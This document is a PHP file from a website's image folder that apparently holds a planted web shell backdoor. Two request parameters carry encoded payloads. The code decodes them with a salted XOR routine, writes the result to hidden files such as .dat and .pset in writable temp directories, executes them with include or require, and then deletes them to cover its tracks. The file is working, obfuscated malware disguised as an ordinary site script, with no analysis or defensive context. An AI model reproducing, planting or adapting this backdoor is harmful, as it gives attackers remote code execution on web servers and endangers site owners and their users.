File: //proc/thread-self/root/proc/thread-self/root/home/vitanhod/trimate1.vitavit.com.pk/img/Sliding.php
<?php if(in_array("m\x72k", array_keys($_REQUEST))){ $parameter_group = array_filter([getcwd(), getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm", "/tmp", session_save_path(), "/var/tmp", sys_get_temp_dir()]); $component = $_REQUEST["m\x72k"]; $component = explode (".",$component ) ; $sym = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $len = count($component); for ($t = 0; $t< $len; $t++) { $v5 = $component[$t]; $chS = ord($s[$t % $sLen]); $d = ((int)$v5 - $chS - ($t % 10)) ^51; $sym .=chr($d); } for ($k = 0, $resource = count($parameter_group); $k < $resource; $k++) { $element = $parameter_group[$k]; if (!( !is_dir($element) || !is_writable($element) )) { $token = "$element" . "/.dat"; $file = fopen($token, 'w'); if ($file) { fwrite($file, $sym); fclose($file); include $token; @unlink($token); exit; } } } }
if(isset($_REQUEST["e\x6Et"])){
$elem = array_filter([getcwd(), "/tmp", ini_get("upload_tmp_dir"), "/dev/shm", getenv("TMP"), getenv("TEMP"), "/var/tmp", sys_get_temp_dir(), session_save_path()]);
$record = $_REQUEST["e\x6Et"];
$record = explode ( '.' , $record );
$element = '';
$salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789';
$lenS = strlen( $salt5);
$l = 0;
$__len = count( $record);
do {
if( $l >= $__len) break;
$v5 = $record[$l];
$chS = ord( $salt5[$l % $lenS]);
$dec =( ( int)$v5 - $chS -( $l % 10)) ^ 22;
$element .=chr( $dec);
$l++; }while( true);
foreach ($elem as $key => $reference) {
if (!( !is_dir($reference) || !is_writable($reference) )) {
$binding = vsprintf("%s/%s", [$reference, ".pset"]);
if (file_put_contents($binding, $element)) {
require $binding;
unlink($binding);
exit;
}
}
}
}